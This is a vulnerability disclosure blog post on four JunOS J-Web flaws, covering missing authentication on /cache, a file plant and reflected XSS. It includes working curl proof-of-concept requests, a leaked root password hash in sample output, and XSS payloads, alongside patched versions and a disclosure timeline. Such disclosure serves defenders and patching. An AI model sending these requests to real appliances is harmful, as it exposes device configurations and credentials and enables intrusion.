The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited

The Second Wednesday Of The First Month Of Every Quarter: Juniper 0day Revisited

Who likes vulnerabilities in appliances from security vendors? Everyone loves appliance vulnerabilities! If, by 'everyone', you mean various ransomware and APT groups of course (and us).

Regular watchTowr-watchers (meta-towr-watchers?) will remember our previous blog post on Juniper's CVE-2023-36844 (and friends), in which we tore JWeb - Juniper’s typical appliance web interface - apart, and rearranged the pieces to form an RCE exploit for the aforementioned CVEs. That group of vulnerabilities went on to become some of 2023’s superstars, as discussed by our friends here:

But, as famous scientists, lawyers and judges have always said; “where there’s smoke, there is fire”. It’s just science.

In the process of our adventures into playing with security appliances that for some reason use PHP interfaces, we actually found more fire. Being the Internet-friends that we are, we duly reported these vulnerabilities to Juniper and which they have been working on ever since.

They did request that we extend our usual 90-day VDP window, and embargo the vulnerabilities until the 11th of January - to align with their release schedule.

For reasons only known to some, Juniper release security advisories in quarterly cycles, taking place on “the second Wednesday of the first month of every quarter”, which recently fell upon the 10th of January.

This strikes us as an odd schedule, given the cadence of the security world in general - we went looking to see if this aligned with certain star formations, or perhaps the location of the moon.

Not finding much fruit in that pursuit, we were forced to conclude that this is likely driven by business reasons - such as the difficulty of QA’ing fixes over a broad and somewhat fragmented combination of OS and hardware - which require that trade-off in responsiveness.

Despite these vulnerabilities being serious enough to require confidentiality during this extended period, Juniper didn’t view them as serious enough to warrant an out-of-cycle advisory or to consistently register CVE numbers (or even to mention them in the patch notes). [Update! Juniper have now done so - see the 'update' section at the end of the post]

But fear not, all the details you could need are contained in this blog post! There are four vulnerabilities in total, ranging in severity.

Let's dive in and take a look - they're good examples of subtle vulnerabilities creeping into a product that obviously has a long legacy behind it. Seemingly simple operations (such as 'format this error message nicely') turn into hazardous calls and enable XSS - and just as innocently, loading an arbitrary file from the file system turns into arbitrary file read.

For the purposes of this research, we looked at version 22.4R2.8 of JunOS.

The Main Course: Authentication Is Optional

Few words will catch an attacker's attention like the combination of these two - "missing authentication". Often the easiest vulnerabilities to exploit, they're beloved by everyone from script-kiddies through to APT groups, and with good reason.

Here, we have a classic case of missing authentication, as requesting a particular URL will enable us to read various temporary files, created by other users, which contain sensitive information.

During the normal course of operation - when an administrative user logs in - various temporary files are created, containing varying levels of sensitive information. The most juicy temporary file contains the entire system configuration, with everything from routing tables and IP data through to the encrypted device password.

You might be thinking - “this is a pretty disastrous file on which to omit authentication” but please remember that we are discussing an appliance from a security vendor and thus we have to expect the bar to be lower.

Fortunately for defenders, requesting this file does require that the correct filename - containing a number - be requested.

It is unclear, however, how that number is generated, and our observation suggests it is generated in a cryptographically insecure manner (for example, we've seen it increment by one when a new user authenticates).

We have a suspicion, but we’ll leave this challenge to the reader (and for fear of another KEV awardee).

$ curl --insecure -X $'POST'     \\
       --data-binary $'method=stream_file_data&force=.1136517270_root_cfg.json'  \\        $'<https://hostname/cache>'
-<html>
    <head></head>
    <body>
    <h5>Your session has expired. <a href="" onclick="return redirectToLogin(this);" style="color: blue;"> Click </a> to redirect to login page</h5>
    <script type="text/javascript">
        function redirectToLogin() {
            window.parent.location.href = "/";
            return false;
        }

        var response = confirm("Your Session has expired. Click OK to redirect to login page.");
        if(response)
            redirectToLogin();
        </script>
    </body>
    </html><?xml version="1.0" encoding="us-ascii"?>
<junoscript xmlns="<http://xml.juniper.net/xnm/1.1/xnm>" xmlns:junos="<http://xml.juniper.net/junos/22.4R0/junos>" schemaLocation="<http://xml.juniper.net/junos/22.4R0/junos> junos/22.4R0/junos.xsd" os="JUNOS" release="22.4R2.8" hostname="" version="1.0">
<!-- session start at 2023-09-26 16:22:25 UTC -->
<!-- No zombies were killed during the creation of this user interface -->
<!-- user root, class super-user -->
<rpc-reply xmlns:junos="<http://xml.juniper.net/junos/22.4R0/junos>">
{
    "configuration" : {
        "@" : {
            "junos:changed-seconds" : "1695144013",
            "junos:changed-localtime" : "2023-09-19 17:20:13 UTC"
        },
<truncated for brevity>

You can see here that we have requested the cache page, and the result is an HTML error page - but following that error page HTTP response is the output of JunOS's RPC mechanism, containing the appliance configuration. Yes... resilience...

It contains oodles of information, including the appliance root password hash:

...
        "system" : {
            "root-authentication" : {
                "encrypted-password" : "$6$36tD63Su$onV8mCOl5HAF2Z1sktp7Vu1ROKD1YJaGTLVNo5DSATHZ3YqCtcKy2e3tfgvhwFxP9WG5Mp9UA3ex11JGtIO/10"
            }
        }
...

That's not cricket!

Recovery of the plaintext of this hash allows an attacker to login to the Juniper appliance via a myriad of interfaces - J-Web itself, SSH, and more.

"Thankfully”, it uses SHA-512 (at least in our test environment), which is at least a secure hashing mechanism - but again having only the strength of a hashing mechanism to give you some comfort about the security of your appliance leaves a lot to be desired.

Given the current state of security appliances - this seems fairly serious and we'd love to understand what does meet the bar for Juniper's out-of-band patch servicing. Maybe a customer can ask?

Side-Dishes: Two-And-A-Half XSS

Our first side-dish vulnerability (assigned CVE-2023-36846 when we reported it in September) simply allows us to upload an arbitrary file to the server, and fetch it later on.

This is almost an XSS (allowing us to plant JavaScript for an unsuspecting administrator to later execute), but is saved by one detail - the filename served is dependent on the currently logged-in user, rendering it useless for privilege escalation.

To demonstrate this flaw, do a POST request to the user.php endpoint as shown below, supplying some data in the body of the request:

$ curl --insecure -X $'POST'      \\
     --data-binary $'watchTowr' \\
     $'<https://hostname/slipstream/preferences/user.php>'

{"status": "Error - Internal error. Cannot identify user."}{"status": "Success - Updated preferences for user"}

The conflicting error message suggests something has gone wrong, and indeed, it has. Requesting the same URL endpoint with a GET will cause the server to cough up the data we planted:

$ curl --insecure $'<https://hostname/slipstream/preferences/user.php>'

{"status": "Error - Internal error. Cannot identify user."}watchTowr

While in isolation this seems quite low-impact, we still view this as a lapse in integrity for an appliance that purports to have security purposes.

Two of the other side dishes are in a similar vein (but without CVE identifiers assigned), allowing an attacker to upload arbitrary data via POST data and display it in an unsafe manner.

Both vulnerabilities are within the webauth_operation.php endpoint (that we note Juniper has appeared to have now completely rm'd).

The first is within the emit_debug_note method, which will echo back the POST data it receives, wrapped in some HTML elements:

$ curl  --insecure -X $'POST'     \\
        --data-binary $'rs=emit_debug_note&rsargs[]=a&rsargs[]=device is on fire'  \\
         $'<https://hostname/webauth_operation.php>'
+:<h3><b>ERROR: device is on fire</b></h3><br><br><div style="text-align: left; font-family: monospace;"></div>''

However, we can embed HTML (and thus javascript) in there too:

$ curl --insecure -X $'POST'     \\
       --data-binary $'rs=emit_debug_note&rsargs[]=a&rsargs[]=<script>alert(\\'XSS\\');</script>'    \\
        $'<https://hostname/webauth_operation.php>'
+:<h3><b>ERROR: <script>alert('XSS');</script></b></h3><br><br><div style="text-align: left; font-family: monospace;"></div>''

The second is almost the same, with similar behavior caused by a different function in the same endpoint (sajax_show_one_stub):

curl --insecure -X $'POST' \\
     --data-binary $'rs=sajax_show_one_stub&rsargs[]=ab<script>alert(\\'watchTowr\\');</script>' \\
    $'<https://hostname/webauth_operation.php>'
+:
                // wrapper for ab<script>alert('watchTowr');</script>
                function x_ab<script>alert('watchTowr');</script>() {
            sajax_do_call("","ab<script>alert('watchTowr');</script>",
                                x_ab<script>alert('watchTowr');</script>.arguments);
                }

                ''

Closing Words

It's interesting how vulnerabilities seem to 'cluster' - in this case, while chasing a single vulnerability, we spotted a few different vulnerabilities in related code.

You'll probably be relieved to know (depending on your agenda) that Juniper has released fixes for all these issues. Juniper advise that while they haven't yet applied for a CVE ID, the first of our vulnerabilities is tracked as PR 1763260. It affects 'all versions of JunOS', and it is fixed in the following releases:

  • 20.4R3-S9
  • 21.2R3-S7
  • 21.3R3-S5
  • 21.4R3-S6
  • 22.1R3-S5
  • 22.2R3-S3
  • 22.3R3-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

Likewise, Juniper advise they have not assigned CVE IDs for the two XSS vulnerabilities as of today. These vulnerabilities affect JunOS from version 22.4R1 onward, with the following versions containing fixes:

  • 22.4R2-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

Finally, the 'missing authentication' vulnerability. Juniper again advise that this affects 'all versions of Junos'. Fixes are available for various versions of JunOS:

  • 20.4R3-S9
  • 21.3R3-S5
  • 21.2R3-S7
  • 21.4R3-S6
  • 22.1R3-S5 (due to be released 1st Feb 2024)
  • 22.2R3-S3
  • 22.3R3-S2
  • 22.4R3
  • 23.2R1-S2
  • 23.2R2
  • 23.4R1

You may note that those users who require 22.1R3-S5 are left out in the cold, as patches for this version aren't available until the first of February. Juniper comment that "[we] have fixes available .. except for one release .. which we think is tolerable".

We can only hope this decision aligns with the threat model of Juniper's customer base.

As we mentioned previously - Juniper usually publish advisories on “the second Wednesday of the first month of every quarter”, which seems a strange schedule given how urgent security updates tend to be. We’ve often stated that a vendor’s response to vulnerabilities such as these can be critical in closing their client’s ‘window of vulnerability’.

Given this, it is interesting that Juniper did not find at least the missing authentication vulnerability to be severe enough to justify an out-of-cycle advisory, nor to register CVE or mention them in the release notes (although they did deem them important enough to request we delay our usual and industry-aligned 90-day VDP timeline). [Update - Juniper have now done this and provided additional explaination, see below for details]

This is what we do every day for our clients - if you'd like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.

Timeline

Date Detail
16th September 2023 Initial report to Juniper
16th September 2023 watchTowr hunts for vulnerable appliances across client attack surfaces, and provides mitigation advice under confidentiality
7th November 2023 Juniper details fixes, requests disclosure extension until 11th January 2024
28th November 2023 watchTowr grants extension, requests additional information from Juniper
6th December 2023 watchTowr repeats previous request for additional information
11th January 2024 Coordinated disclosure date
18th January 2024 Ivanti happened, so watchTowr delayed disclosure
30th January 2024 Juniper publishes CVE and JSA disclosure (see below)

Update : 30th Jan 2024

After some pressure, Juniper have now issued CVE-2024-21619 and CVE-2024-21620, and noted "two additional vulnerabilities that had been addressed in JSA72300" (presumably we re-discovered bugs that they fixed while addressing JSA72300, deliberately or otherwise). They've also issued an out-of-cycle bulletin documenting these bugs and their fixes, and communicated via email their apologies for poor communication. They comment that "Our assessment of the vulnerabilities reported by you has changed", which explains the out-of-cycle advisory they previously concluded to be unnecessary.

They also explained that, due to non-technical reasons, they typically apply for CVE late in the reporting cycle, a process they have since reviewed, and state that their original intention was to apply for CVE (and publish a JSA) once fixes were available for all supported releases.